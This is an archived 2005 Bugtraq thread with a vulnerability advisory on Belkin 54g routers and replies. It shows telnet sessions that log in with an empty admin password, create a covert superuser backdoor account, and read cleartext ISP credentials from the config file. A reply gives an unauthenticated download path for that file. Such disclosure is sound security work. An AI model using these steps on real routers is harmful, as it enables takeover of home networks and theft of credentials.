PDA

Bekijk Volledige Versie : several vulnerabilities present in Belkin wireless routers



m123303@securityfocus.com, [at]@securityfocus.com,
15/07/05, 17:25
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory name:
several vulnerabilities present in Belkin wireless routers

Overall severity rating:
HIGH risk

Devices affected:
"belkin54g" family of wireless routers

4 main vulnerabilities are included in this advisory:
- - default telnet backdoor
- - password-less administrative account
- - verbose messages in telnet sessions reveal filesystem structure and
possible "interesting" files
- - cleartext sensitive information stored in config file (config.icf)

Date:
July 15, 2005

Author:
pagvac (Adrian Pastor)

Description:
I've been able to identify several important vulnerabilities in
different Belkin wireless routers. These vulnerabilities have been
tested and verified in at least three different Belkin wireless
router models which are very similar, not only in the way they look
but also in their functionalities.

These Belkin wireless routers are quite popular among home users
probably due to their affordable price and easiness of use. This
means that the following vulnerabilities and exploits should be
present in a big number of devices available out there which should
be very easy to find for wardrivers.

Note: these routers use a default SSID of "belkin54g".

- From here, I'd like to encourage other computer security enthusiasts
to test what I found in their Belkin wireless routers and also let
everyone know that positive and negative comments about the content
of this advisory are welcome.

The first problem is the existance of a default telnet backdoor
running on the usual 23/tcp port. From my experience, telnet
interfaces are NOT enabled by default in wireless routers but rather,
they usually need to be enabled from their administrative web
interfaces manually:


<Start of output>

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
18:34 BST
Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
[1663 ports] at 18:34
Discovered open port 53/tcp on 192.168.2.1
Discovered open port 80/tcp on 192.168.2.1
Discovered open port 23/tcp on 192.168.2.1
The SYN Stealth Scan took 1.93s to scan 1663 total ports.
Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
ports] at 18:34
The UDP Scan took 1.92s to scan 1478 total ports.
Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
Interesting ports on BelkinModem.Belkin (192.168.2.1):
(The 3133 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
53/udp open|filtered domain
67/udp open|filtered dhcpserver
80/tcp open http
123/udp open|filtered ntp
520/udp open|filtered route
1900/udp open|filtered UPnP
MAC Address: 00:11:50:XX:XX:XX (Belkin)

</End of output>


This device is usually configured with a default IP address of
192.168.2.1. The interesting thing about the telnet interface in this
case is that it provides users with many powerful commands that are
NOT accessible through the administrative web interface. Again, let
me remind you that the telnet service is running straight out of the
box so no user intervention is needed.

The telnet service, just like the web interface, can be accessed by
default with root privileges using a "null" password. When I say
"null" I mean empty, in other words: no password. The difference is
that the web interface sends the username to the system so only the
password is required from the user. In this case, all the user needs
to do is click on the "Submit" button after accessing
http://192.168.2.1 without entering any password AT ALL. In the case
of the telnet service, the authentication is different in the sense
that the system prompts the user for BOTH, username and password. The
right combination is admin/"null", where "null" is an empty password
(just press <enter> when prompted for password):

<Start of output>

# telnet 192.168.2.1

Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '^]'.

,vvvdP9P???^ ,,,
vvd###P^`^ vvvvv v
vv#####?^ ????####vv,
vv####?? ,vvvdP???^ ,,, ??##^
v#####? ,vvd##P?^ #?#v#vvv
v#####? v###P^ ,vvv, '?#?,
######? ####?^ ,vd#P?^ `???##
#####? v#### ,d##P^ ''
###### v#### ]###L _ _ _
___
#####? v#### ]##L / / \ |\ | |_ \/ /\
|\ | |
###### #### ]###L \_ \_/ | \| |_ /\ /--\
| \| |
?#####v ####v ]##h, ,,
?##### ?###h, `9#hv, ,vv###
###### #####L ]###L ,v#v'
?#####vv ?9##hv, ,,vvvv###'
?#####vv `??9P\vv, ^ vv##,
###### #######L
??###hvv, ,vvv#?##?????
`????9hdhvv,

Login: admin
<enter>
</End of output>


As it can be seen, the OS firmware is developed by Conexant, although
the routers themselves are from Belkin. After researching on both
Belkin and Conexant websites I found nothing about the OS running in
these devices and ways to configure them through telnet. However, the
console mode shows many tools that are available in GNU/Linux
systems, indicating that this is the type of system running behind
the scenes.

After logging in, the user is immediately granted root privileges on
the system. There are many interesting things an attacker can do at
this point. Most of the interesting functions are under the "system"
commands menu. In order to see all the available commands enter "?".


<Start of output>

- --> ?
802.1x 802.1x port based authentication
agent Get a file from a remote host
autoprov
bridge Configure layer 2 bridge
console Console access
dhcpclient DHCP client configuration commands
dhcpserver DHCP server configuration commands
diagnosticTest
dnsclient DNS client configuration commands
dnsrelay DNS relay configuration
ethernet Commands to configure ethernet transports
firewall Firewall configuration commands
help Top level CLI help
igmp
imdebug Directly access the information model
ip Configure IP router
logger Log to a remote host using syslog
nat NAT configuration commands
port Physical port configuration commands
pppoa PPP over ATM configuration
pppoe
radclient RADIUS Client Configuration commands
rfc1483 Commands to configure RFC1483 transports
security Security configuration commands not specific to NAT
or firewall
sntpclient Simple Network Time Protocol Client commands
source Read a file of commands
system System administration commands
transports Transport configuration commands
upnp UPnP configuration commands
user User commands
webserver Webserver configuration commands
wpa Configure WPA (Wireless Protected Access)
- -->

</End of output>


To see the available flags/options for a certain command, enter the
name of the command followed by "?" again and so on:


<Start of output>

- --> system ?
add Add a user to the system
auto-update Update device firmware automatically from a remote
server
config Configuration file maintenance
cpuload Show current CPU loading
delete Remove system users
info Display hardware/software information
legal
list List system information
log Set logging options
restart Restart system (same as pressing reset)
set Set user privileges

</End of output>


The first exploit an attacker could perform is to add a backdoor
account with administrative privileges:


<Start of output>

- --> system list logins

Users:
May May conf. May Access
ID | Name | Conf. | web | Dialin | Level |
Comment
- -----|------------|----------|----------|----------|------------|-----
- --------
1 | admin | ENABLED | ENABLED | disabled | superuser |
Admin user
- ----------------------------------------------------------------------
- ---------

- --> system set user guest access superuser


- --> system list logins

Users:
May May conf. May Access
ID | Name | Conf. | web | Dialin | Level |
Comment
- -----|------------|----------|----------|----------|------------|-----
- --------
1 | admin | ENABLED | ENABLED | disabled | superuser |
Admin user
2 | guest | ENABLED | ENABLED | disabled | superuser |
Created by CLI
- ----------------------------------------------------------------------
- ---------


- --> system set login guest maydialin enabled


- --> system list logins

Users:
May May conf. May Access
ID | Name | Conf. | web | Dialin | Level |
Comment
- -----|------------|----------|----------|----------|------------|-----
- --------
1 | admin | ENABLED | ENABLED | disabled | superuser |
Admin user
2 | guest | ENABLED | ENABLED | ENABLED | superuser |
Created by CLI
- ----------------------------------------------------------------------
- ---------

<End of output>


In this case the attacker first lists the avaialable accounts on the
system and then creates an acccount called "guest" assigning
superuser privileges to it. After that, the attacker also gives
dialin permissions to this new backdoor account. In reality, if an
attacker doesn't want to be loud, he/she would probably use an
account name that doesn't attract the attention from the owner of the
router. Such account could be called something like "test", "guest",
"manager", "default", "root", or "administrator". In this case the
attacker chose "guest".

I'd like to say that I don't exactly know what the system means by
"May Dialin". I simply confirmed during my tests that an attacker can
indeed assign "dialin" privileges to a newly created superuser
account and use it to connect to the router through the telnet
interface with root privileges.

I suspect that the "dialin" permissions are related to either one of
the following:

- - permissions to allow a given account to connect to the router
- - a dialin interface which can be used by the administrator to dial
the router from the PSTN (telephone network) provided that the router
is connected to a telephone line.

If anyone has played with this option in Belkin routers, please send
me your comments. Due to the lack of documentation available about
the telnet interface of these routers, I could not find further
information on "dialin" permissions.

After adding the backdoor account the attacker can log into the
router through telnet using this new account. After that, the
attacker can add a password with the "user password" command:


<Start of output>

- --> user password
Enter new password: ********
Again to verify: ********

</End of output>


The second interesting thing that an attacker could do is to browse
the filesystem and dump the config file on the screen. The default
name of the config file of these routers is "config.icf". This file
can be obtained in two ways:

- - from the web interface (http://192.168.2.1) by clicking on "Save
configuration"
- - through the telnet interface by browsing the filesystem in the
"console enable" mode

After accessing the "console enable" mode the user is provided with a
bunch of powerful commands, including popular Linux/GNU tools such as
"cat". This is how to access the console mode (notice how "?" is used
to list available options for the "console" command):


<Start of output>

- --> console ?
enable Enter console mode
process Execute console command


- --> console enable
Switching from CLI to console mode - type 'exit' to return

Quantum>


</End of output>



The way I found where the config file was located was NOT by browsing
the filesystem manually with "cd" and "ls" commands, but rather by
exploiting an interesting behavior of these routers. Basically, when
you save configuration files from the web interface, make invalid
http requests, or save system settings (from the web interface as
well), the system will dump messages on the telnet interface. For
instance, if you connect to the telnet service and save the
configuration settings from the web interface, the following message
will be dumped on the telnet session:

<Start of output>

Saving to backup configuration //isfs/im.conf.backup

</End of output>


The following error was dumped after playing with invalid requests:


<Start of output>

Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
not found or wrong type

</End of output>


I suggest playing with the web interface while having the telnet
session open to find interesting files and directories as an
alternative to manually browsing the filesystem. Also, it might be
fun to try MITM proxy attacks against the router's web interface with
tools such as Achilles or Paros. This would allow us to modify the
inputs included in the POST requests which would normally be
restricted by the client-side forms. Doing this should hopefully dump
some interesting errors on the telnet session.

The following are some of the directories present in the filesystem:

/isfs/
/shared/
/webconfig/images/
/webconfig/styles/
/webconfig/styles/
/webconfig/update/



Many tools are available in the "console enable" mode. In this case,
I used "cat" to dump sensitive information found in the config file.
Remember that a backup of the configuration file can be obtained from
/isfs/im.conf.backup.

Interesting things which I found in these file are the following:
- - hostnames and IP addresses from the DNS table (these are computers
that are connected in the present and have been connected in the
past to the router)
- - ISP account configuration including username and password (yes,
this is all in cleartext as well!)

The following output is an example of DNS entries extracted from the
config file. Note that the original MAC addresses, hostnames,
username and password have been modified for privacy reasons:

<Start of output>

N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName1i pv4
A hostName computerName1
A ipaddr 192.168.2.21
A macAddress XX:XX:XX:XX:XX:XX
N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName2i pv4
A hostName computerName2
A ipaddr 192.168.2.6
A macAddress XX:XX:XX:XX:XX:XX
N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName3i pv4
A hostName computerName3
A ipaddr 192.168.2.4
A macAddress XX:XX:XX:XX:XX:XX
N ImDnsRelayLanHostEntry
ImDnsRelay.ImDnsRelayLanHostEntries.computerName4i pv4
A hostName computerName4
A ipaddr 192.168.2.7
A macAddress XX:XX:XX:XX:XX:XX

</End of output>


The following are some of the settings related to the ISP account
configuration including sensitive information such as username and
password in the clear:


<Start of output>

A weLoginName myname.mysurname@adsl.ispdomain.com
A weLoginPassword this-is-my-password-in-the-clear
A weLoginAuth chap

</End of output>


I'd like to stress that the consequences of storing the username,
password and authentication protocol in the clear can be exploited in
very malicious ways. For instance, the first thing that an attacker
can exploit is the fact that ISPs usually give users some web
services after they get their DSL connections set up. I'm talking
about things such as webmail and account management services. By
default, these services use the same password as the one used on the
ISP account (which can be obtained from the config file). In other
cases, these passwords also remain the same because it's just easier
for users to have the same password for all their ISP-related
accounts.

Also, let's remember that the same password could also be used by the
user in other services such as messengers, ftp servers and so on.
This type of information could be easily obtained by an attacker
sniffing the network either with a wireless sniffer such as Airopeek
NX or by performing a MITM attack through ARP poisoning with a tool
like Cain.

I'm sure that if other people play more with these routers they can
find other vulnerabilities, exploits and interesting functions.
Personally, I was surprised by the power that these Belkin routers
give you once they're accessed through the telnet interface.

Because most of these "belkin54" family of routers give you root
privileges by default through the telnet interface, it is really up
to the attacker on what to exploit. It's just a matter of imagination
and curiosity. Some ideas could include redirecting users to the
router's web server whose files could be previously replaced by
scripts that would exploit the latest vulnerabilities present in the
most popular web browsers.

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtV wqHW0AoMIK
Yknf7sFxGJw7hbIK1oX642EB
=5Mdx
-----END PGP SIGNATURE-----

Steve Kemp
15/07/05, 19:35
On Fri, Jul 15, 2005 at 08:14:14AM -0000, m123303@securityfocus.com wrote:

> The first problem is the existance of a default telnet backdoor
> running on the usual 23/tcp port. From my experience, telnet
> interfaces are NOT enabled by default in wireless routers but rather,
> they usually need to be enabled from their administrative web
> interfaces manually:
>
>
> <Start of output>
>
> Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
> 18:34 BST
> Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)


The obvious question to ask here, is "Can the telnet service be
connected to from the WAN side?".

All the later content you present, whilst interesting, is of
less value if the attacker must be on the LAN side of the router.

Steve
--
# Debian System Administration
www.debian-administration.org/

Ian Clelland
17/07/05, 02:45
On Fri, Jul 15, 2005 at 04:37:10PM +0100, Steve Kemp wrote:
> On Fri, Jul 15, 2005 at 08:14:14AM -0000, m123303@securityfocus.com wrote:
>
> > The first problem is the existance of a default telnet backdoor
> > running on the usual 23/tcp port. From my experience, telnet
> > interfaces are NOT enabled by default in wireless routers but rather,
> > they usually need to be enabled from their administrative web
> > interfaces manually:
> >
> >
> > <Start of output>
> >
> > Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
> > 18:34 BST
> > Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
>
>
> The obvious question to ask here, is "Can the telnet service be
> connected to from the WAN side?".
>
> All the later content you present, whilst interesting, is of
> less value if the attacker must be on the LAN side of the router.

I suspect that the router will not be found vulnerable from that side,
but the exploit becomes interesting again if users on the Wireless LAN
are granted the same level of trust as those on the wired LAN. None of
the wireless routers I've seen have made any distinction between those
two segments, and they all come with default administration passwords
(and no requirement for the user to change them).

Of course, this 'exploit' really looks like just another example of an
'insecure by default' consumer device, rather than an issue with the
firmware.

Regards,
Ian

nicolas.ruff@gmail.com
17/07/05, 02:55
Interesting study, I have seen quite the same configuration on a very
common broadband router sold in France. There were also operator-defined
data stored in the configuration files, such as the VoIP gateway
parameters, the administrative console IP address, and the like.

FYI, I think the operating system is an ATMOS/ISOS rather than a GNU/Linux.

In my case, there was also an undocumented but very useful command :
"debug". It was only available through the console port, but if it works
for you, you will access a kernel mode debugger.

Regards,
- Nicolas RUFF

ian.latter@midnightcode.org
18/07/05, 19:55
Hello,

> As it can be seen, the OS firmware is developed
> by Conexant, although the routers themselves are
> from Belkin. After researching on both Belkin
> and Conexant websites I found nothing about the
> OS running in these devices and ways to
> configure them through telnet. However, the
> console mode shows many tools that are available
> in GNU/Linux systems, indicating that this is
> the type of system running behind the scenes.

I've published a shed-load of information on the internal OS of the Belkin, and have my own Linux distro running on this platform.

If you want to pull it apart, then take a look at the docco here;
http://www.midnightcode.org/papers/

And the tools here;
http://midnightcode.org/projects/pluto/code/

belky-0.5.c will pull apart or recreate firmware
images to/from kernel + fs binaries.

I didn't see the telnet interface on the
F5D7230-4 models that I was grinding.

steven.salaets@windriver.com
21/07/05, 03:25
What I wonder is: How much of a security threat is this? Are we not talking about default settings here? How secure is a linksys or cisco AP out of the box? As far as I recall Cisco also enables telnet by default and if you Google for a default administra
tive password for any network device it won't take you 5 minutes to find it.

-Steven

Roman Daszczyszak
23/07/05, 01:15
I can't comment on the Belkin stuff. As for Cisco IIRC, telnet is
enabled by default, however it doesn't allow anyone to log in unless a
telnet password is set on the vty lines and the login command is
configured as well, and those are not set by default.

So, you can certainly use a telnet exploit against them because the
port is open, but you're not going in via the non-existant password.

Regards,
Roman Daszczyszak

---------- Original message ----------
From: steven.salaets@windriver.com
To: bugtraq@securityfocus.com
Date: 20 Jul 2005 08:58:29 -0000
Subject: Re: Re: several vulnerabilities present in Belkin wireless routers
What I wonder is: How much of a security threat is this? Are we not
talking about default settings here? How secure is a linksys or cisco
AP out of the box? As far as I recall Cisco also enables telnet by
default and if you Google for a default administrative password for
any network device it won't take you 5 minutes to find it.

-Steven

E. Kellinis
28/07/05, 18:45
hmm.. and another interesting thingy .. which I am not sure if is the
same as what the
the original author of the advisory meant

>The second interesting thing that an attacker could do is to browse
>the filesystem and dump the config file on the screen. The default
>name of the config file of these routers is "config.icf". This file
>can be obtained in two ways:
>
>- - from the web interface (http://192.168.2.1) by clicking on "Save
>configuration"

from what I understand in order to click the Save configuration button
you need to be logged in but,
if you do request to save the settings files, then the router creates
the file config.icf and stores in the router
and anyone (without even login into the system) can access it for
download
from http://192.168.2.1/fs/isfs/config.icf, the file stays there until
you reboot the router.


E. Kellinis wrote:

> just noticed that the TRACE http method is enabled in the router's
> webserver as well
>
>
>
> m123303@securityfocus.com wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Advisory name: several vulnerabilities present in Belkin wireless
>> routers
>>
>> Overall severity rating:
>> HIGH risk
>>
>> Devices affected: "belkin54g" family of wireless routers
>> 4 main vulnerabilities are included in this advisory:
>> - - default telnet backdoor
>> - - password-less administrative account
>> - - verbose messages in telnet sessions reveal filesystem structure and
>> possible "interesting" files
>> - - cleartext sensitive information stored in config file (config.icf)
>>
>> Date: July 15, 2005
>>
>> Author:
>> pagvac (Adrian Pastor)
>>
>> Description:
>> I've been able to identify several important vulnerabilities in
>> different Belkin wireless routers. These vulnerabilities have been
>> tested and verified in at least three different Belkin wireless
>> router models which are very similar, not only in the way they look
>> but also in their functionalities.
>> These Belkin wireless routers are quite popular among home users
>> probably due to their affordable price and easiness of use. This
>> means that the following vulnerabilities and exploits should be
>> present in a big number of devices available out there which should
>> be very easy to find for wardrivers.
>> Note: these routers use a default SSID of "belkin54g".
>> - From here, I'd like to encourage other computer security enthusiasts
>> to test what I found in their Belkin wireless routers and also let
>> everyone know that positive and negative comments about the content
>> of this advisory are welcome.
>>
>> The first problem is the existance of a default telnet backdoor
>> running on the usual 23/tcp port. From my experience, telnet
>> interfaces are NOT enabled by default in wireless routers but rather,
>> they usually need to be enabled from their administrative web
>> interfaces manually:
>>
>>
>> <Start of output>
>>
>> Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
>> 18:34 BST
>> Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
>> [1663 ports] at 18:34
>> Discovered open port 53/tcp on 192.168.2.1
>> Discovered open port 80/tcp on 192.168.2.1
>> Discovered open port 23/tcp on 192.168.2.1
>> The SYN Stealth Scan took 1.93s to scan 1663 total ports.
>> Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
>> ports] at 18:34
>> The UDP Scan took 1.92s to scan 1478 total ports.
>> Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
>> Interesting ports on BelkinModem.Belkin (192.168.2.1):
>> (The 3133 ports scanned but not shown below are in state: closed)
>> PORT STATE SERVICE
>> 23/tcp open telnet
>> 53/tcp open domain
>> 53/udp open|filtered domain
>> 67/udp open|filtered dhcpserver
>> 80/tcp open http
>> 123/udp open|filtered ntp
>> 520/udp open|filtered route
>> 1900/udp open|filtered UPnP
>> MAC Address: 00:11:50:XX:XX:XX (Belkin)
>>
>> </End of output>
>>
>>
>> This device is usually configured with a default IP address of
>> 192.168.2.1. The interesting thing about the telnet interface in this
>> case is that it provides users with many powerful commands that are
>> NOT accessible through the administrative web interface. Again, let
>> me remind you that the telnet service is running straight out of the
>> box so no user intervention is needed.
>> The telnet service, just like the web interface, can be accessed by
>> default with root privileges using a "null" password. When I say
>> "null" I mean empty, in other words: no password. The difference is
>> that the web interface sends the username to the system so only the
>> password is required from the user. In this case, all the user needs
>> to do is click on the "Submit" button after accessing
>> http://192.168.2.1 without entering any password AT ALL. In the case
>> of the telnet service, the authentication is different in the sense
>> that the system prompts the user for BOTH, username and password. The
>> right combination is admin/"null", where "null" is an empty password
>> (just press <enter> when prompted for password):
>>
>> <Start of output>
>>
>> # telnet 192.168.2.1
>>
>> Trying 192.168.2.1...
>> Connected to 192.168.2.1.
>> Escape character is '^]'.
>>
>> ,vvvdP9P???^ ,,,
>> vvd###P^`^ vvvvv v
>> vv#####?^ ????####vv,
>> vv####?? ,vvvdP???^ ,,, ??##^
>> v#####? ,vvd##P?^ #?#v#vvv
>> v#####? v###P^ ,vvv, '?#?,
>> ######? ####?^ ,vd#P?^ `???##
>> #####? v#### ,d##P^ ''
>> ###### v#### ]###L _ _ _
>> ___
>> #####? v#### ]##L / / \ |\ | |_ \/ /\ |\
>> | |
>> ###### #### ]###L \_ \_/ | \| |_ /\ /--\ |
>> \| |
>> ?#####v ####v ]##h, ,,
>> ?##### ?###h, `9#hv, ,vv###
>> ###### #####L ]###L ,v#v'
>> ?#####vv ?9##hv, ,,vvvv###'
>> ?#####vv `??9P\vv, ^ vv##,
>> ###### #######L
>> ??###hvv, ,vvv#?##?????
>> `????9hdhvv,
>>
>> Login: admin
>> <enter>
>> </End of output>
>>
>>
>> As it can be seen, the OS firmware is developed by Conexant, although
>> the routers themselves are from Belkin. After researching on both
>> Belkin and Conexant websites I found nothing about the OS running in
>> these devices and ways to configure them through telnet. However, the
>> console mode shows many tools that are available in GNU/Linux
>> systems, indicating that this is the type of system running behind
>> the scenes.
>>
>> After logging in, the user is immediately granted root privileges on
>> the system. There are many interesting things an attacker can do at
>> this point. Most of the interesting functions are under the "system"
>> commands menu. In order to see all the available commands enter "?".
>>
>> <Start of output>
>>
>> - --> ?
>> 802.1x 802.1x port based authentication
>> agent Get a file from a remote host
>> autoprov
>> bridge Configure layer 2 bridge
>> console Console access
>> dhcpclient DHCP client configuration commands
>> dhcpserver DHCP server configuration commands
>> diagnosticTest
>> dnsclient DNS client configuration commands
>> dnsrelay DNS relay configuration
>> ethernet Commands to configure ethernet transports
>> firewall Firewall configuration commands
>> help Top level CLI help
>> igmp
>> imdebug Directly access the information model
>> ip Configure IP router
>> logger Log to a remote host using syslog
>> nat NAT configuration commands
>> port Physical port configuration commands
>> pppoa PPP over ATM configuration
>> pppoe
>> radclient RADIUS Client Configuration commands
>> rfc1483 Commands to configure RFC1483 transports
>> security Security configuration commands not specific to NAT
>> or firewall
>> sntpclient Simple Network Time Protocol Client commands
>> source Read a file of commands
>> system System administration commands
>> transports Transport configuration commands
>> upnp UPnP configuration commands
>> user User commands
>> webserver Webserver configuration commands
>> wpa Configure WPA (Wireless Protected Access)
>> - -->
>>
>> </End of output>
>>
>>
>> To see the available flags/options for a certain command, enter the
>> name of the command followed by "?" again and so on:
>>
>>
>> <Start of output>
>>
>> - --> system ?
>> add Add a user to the system
>> auto-update Update device firmware automatically from a remote
>> server
>> config Configuration file maintenance
>> cpuload Show current CPU loading
>> delete Remove system users
>> info Display hardware/software information
>> legal
>> list List system information
>> log Set logging options
>> restart Restart system (same as pressing reset)
>> set Set user privileges
>>
>> </End of output>
>>
>>
>> The first exploit an attacker could perform is to add a backdoor
>> account with administrative privileges:
>>
>>
>> <Start of output>
>>
>> - --> system list logins
>>
>> Users:
>> May May conf. May Access
>> ID | Name | Conf. | web | Dialin | Level | Comment
>> - -----|------------|----------|----------|----------|------------|-----
>> - --------
>> 1 | admin | ENABLED | ENABLED | disabled | superuser |
>> Admin user
>> - ----------------------------------------------------------------------
>> - ---------
>>
>> - --> system set user guest access superuser
>>
>>
>> - --> system list logins
>>
>> Users:
>> May May conf. May Access
>> ID | Name | Conf. | web | Dialin | Level | Comment
>> - -----|------------|----------|----------|----------|------------|-----
>> - --------
>> 1 | admin | ENABLED | ENABLED | disabled | superuser |
>> Admin user
>> 2 | guest | ENABLED | ENABLED | disabled | superuser |
>> Created by CLI
>> - ----------------------------------------------------------------------
>> - ---------
>>
>>
>> - --> system set login guest maydialin enabled
>>
>>
>> - --> system list logins
>>
>> Users:
>> May May conf. May Access
>> ID | Name | Conf. | web | Dialin | Level | Comment
>> - -----|------------|----------|----------|----------|------------|-----
>> - --------
>> 1 | admin | ENABLED | ENABLED | disabled | superuser |
>> Admin user
>> 2 | guest | ENABLED | ENABLED | ENABLED | superuser |
>> Created by CLI
>> - ----------------------------------------------------------------------
>> - ---------
>>
>> <End of output>
>>
>>
>> In this case the attacker first lists the avaialable accounts on the
>> system and then creates an acccount called "guest" assigning
>> superuser privileges to it. After that, the attacker also gives
>> dialin permissions to this new backdoor account. In reality, if an
>> attacker doesn't want to be loud, he/she would probably use an
>> account name that doesn't attract the attention from the owner of the
>> router. Such account could be called something like "test", "guest",
>> "manager", "default", "root", or "administrator". In this case the
>> attacker chose "guest".
>>
>> I'd like to say that I don't exactly know what the system means by
>> "May Dialin". I simply confirmed during my tests that an attacker can
>> indeed assign "dialin" privileges to a newly created superuser
>> account and use it to connect to the router through the telnet
>> interface with root privileges.
>> I suspect that the "dialin" permissions are related to either one of
>> the following:
>>
>> - - permissions to allow a given account to connect to the router - -
>> a dialin interface which can be used by the administrator to dial
>> the router from the PSTN (telephone network) provided that the router
>> is connected to a telephone line.
>> If anyone has played with this option in Belkin routers, please send
>> me your comments. Due to the lack of documentation available about
>> the telnet interface of these routers, I could not find further
>> information on "dialin" permissions.
>>
>> After adding the backdoor account the attacker can log into the
>> router through telnet using this new account. After that, the
>> attacker can add a password with the "user password" command:
>>
>>
>> <Start of output>
>>
>> - --> user password
>> Enter new password: ********
>> Again to verify: ********
>>
>> </End of output>
>>
>>
>> The second interesting thing that an attacker could do is to browse
>> the filesystem and dump the config file on the screen. The default
>> name of the config file of these routers is "config.icf". This file
>> can be obtained in two ways:
>>
>> - - from the web interface (http://192.168.2.1) by clicking on "Save
>> configuration"
>> - - through the telnet interface by browsing the filesystem in the
>> "console enable" mode
>>
>> After accessing the "console enable" mode the user is provided with a
>> bunch of powerful commands, including popular Linux/GNU tools such as
>> "cat". This is how to access the console mode (notice how "?" is used
>> to list available options for the "console" command):
>>
>>
>> <Start of output>
>>
>> - --> console ?
>> enable Enter console mode
>> process Execute console command
>>
>>
>> - --> console enable
>> Switching from CLI to console mode - type 'exit' to return
>>
>> Quantum>
>>
>>
>> </End of output>
>>
>>
>>
>> The way I found where the config file was located was NOT by browsing
>> the filesystem manually with "cd" and "ls" commands, but rather by
>> exploiting an interesting behavior of these routers. Basically, when
>> you save configuration files from the web interface, make invalid
>> http requests, or save system settings (from the web interface as
>> well), the system will dump messages on the telnet interface. For
>> instance, if you connect to the telnet service and save the
>> configuration settings from the web interface, the following message
>> will be dumped on the telnet session:
>>
>> <Start of output>
>>
>> Saving to backup configuration //isfs/im.conf.backup
>>
>> </End of output>
>>
>>
>> The following error was dumped after playing with invalid requests:
>>
>>
>> <Start of output>
>>
>> Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
>> not found or wrong type
>>
>> </End of output>
>>
>>
>> I suggest playing with the web interface while having the telnet
>> session open to find interesting files and directories as an
>> alternative to manually browsing the filesystem. Also, it might be
>> fun to try MITM proxy attacks against the router's web interface with
>> tools such as Achilles or Paros. This would allow us to modify the
>> inputs included in the POST requests which would normally be
>> restricted by the client-side forms. Doing this should hopefully dump
>> some interesting errors on the telnet session.
>> The following are some of the directories present in the filesystem:
>>
>> /isfs/
>> /shared/
>> /webconfig/images/
>> /webconfig/styles/
>> /webconfig/styles/
>> /webconfig/update/
>>
>>
>>
>> Many tools are available in the "console enable" mode. In this case,
>> I used "cat" to dump sensitive information found in the config file.
>> Remember that a backup of the configuration file can be obtained from
>> /isfs/im.conf.backup.
>>
>> Interesting things which I found in these file are the following:
>> - - hostnames and IP addresses from the DNS table (these are computers
>> that are connected in the present and have been connected in the
>> past to the router)
>> - - ISP account configuration including username and password (yes,
>> this is all in cleartext as well!)
>>
>> The following output is an example of DNS entries extracted from the
>> config file. Note that the original MAC addresses, hostnames,
>> username and password have been modified for privacy reasons:
>>
>> <Start of output>
>>
>> N ImDnsRelayLanHostEntry
>> ImDnsRelay.ImDnsRelayLanHostEntries.computerName1i pv4
>> A hostName computerName1
>> A ipaddr 192.168.2.21
>> A macAddress XX:XX:XX:XX:XX:XX
>> N ImDnsRelayLanHostEntry
>> ImDnsRelay.ImDnsRelayLanHostEntries.computerName2i pv4
>> A hostName computerName2
>> A ipaddr 192.168.2.6
>> A macAddress XX:XX:XX:XX:XX:XX
>> N ImDnsRelayLanHostEntry
>> ImDnsRelay.ImDnsRelayLanHostEntries.computerName3i pv4
>> A hostName computerName3
>> A ipaddr 192.168.2.4
>> A macAddress XX:XX:XX:XX:XX:XX
>> N ImDnsRelayLanHostEntry
>> ImDnsRelay.ImDnsRelayLanHostEntries.computerName4i pv4
>> A hostName computerName4
>> A ipaddr 192.168.2.7
>> A macAddress XX:XX:XX:XX:XX:XX
>>
>> </End of output>
>>
>>
>> The following are some of the settings related to the ISP account
>> configuration including sensitive information such as username and
>> password in the clear:
>>
>>
>> <Start of output>
>>
>> A weLoginName myname.mysurname@adsl.ispdomain.com
>> A weLoginPassword this-is-my-password-in-the-clear
>> A weLoginAuth chap
>>
>> </End of output>
>>
>>
>> I'd like to stress that the consequences of storing the username,
>> password and authentication protocol in the clear can be exploited in
>> very malicious ways. For instance, the first thing that an attacker
>> can exploit is the fact that ISPs usually give users some web
>> services after they get their DSL connections set up. I'm talking
>> about things such as webmail and account management services. By
>> default, these services use the same password as the one used on the
>> ISP account (which can be obtained from the config file). In other
>> cases, these passwords also remain the same because it's just easier
>> for users to have the same password for all their ISP-related
>> accounts.
>> Also, let's remember that the same password could also be used by the
>> user in other services such as messengers, ftp servers and so on.
>> This type of information could be easily obtained by an attacker
>> sniffing the network either with a wireless sniffer such as Airopeek
>> NX or by performing a MITM attack through ARP poisoning with a tool
>> like Cain.
>>
>> I'm sure that if other people play more with these routers they can
>> find other vulnerabilities, exploits and interesting functions.
>> Personally, I was surprised by the power that these Belkin routers
>> give you once they're accessed through the telnet interface.
>>
>> Because most of these "belkin54" family of routers give you root
>> privileges by default through the telnet interface, it is really up
>> to the attacker on what to exploit. It's just a matter of imagination
>> and curiosity. Some ideas could include redirecting users to the
>> router's web server whose files could be previously replaced by
>> scripts that would exploit the latest vulnerabilities present in the
>> most popular web browsers.
>>
>> -----BEGIN PGP SIGNATURE-----
>> Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
>>
